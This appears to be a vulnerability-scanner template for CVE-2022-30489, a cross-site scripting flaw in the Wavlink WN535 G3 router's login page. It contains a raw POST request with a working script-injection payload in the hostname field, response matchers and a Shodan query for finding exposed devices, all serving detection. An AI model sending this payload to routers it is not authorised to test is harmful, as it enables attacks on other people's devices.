id: CVE-2022-30489

info:
  name: Wavlink Wn535g3 - POST XSS
  author: For3stCo1d
  severity: medium
  description: |
    WAVLINK WN535 G3 was discovered to contain a cross-site scripting (XSS) vulnerability via the hostname parameter at /cgi-bin/login.cgi.
  reference:
    - https://github.com/badboycxcc/XSS-CVE-2022-30489
    - https://nvd.nist.gov/vuln/detail/CVE-2022-30489
    - https://github.com/badboycxcc/XSS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-30489
    cwe-id: CWE-79
  metadata:
    shodan-query: http.title:"Wi-Fi APP Login"
    verified: "true"
  tags: xss,cve2022,wavlink,cve,router,iot

requests:
  - raw:
      - |
        POST /cgi-bin/login.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        newUI=1&page=login&username=admin&langChange=0&ipaddr=x.x.x.x&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=")</script><script>alert(document.domain);</script>&key=M27234733&password=63a36bceec2d3bba30d8611c323f4cda&lang_=cn

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<script>alert(document.domain);</script>'
          - 'parent.location.replace("http://")'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200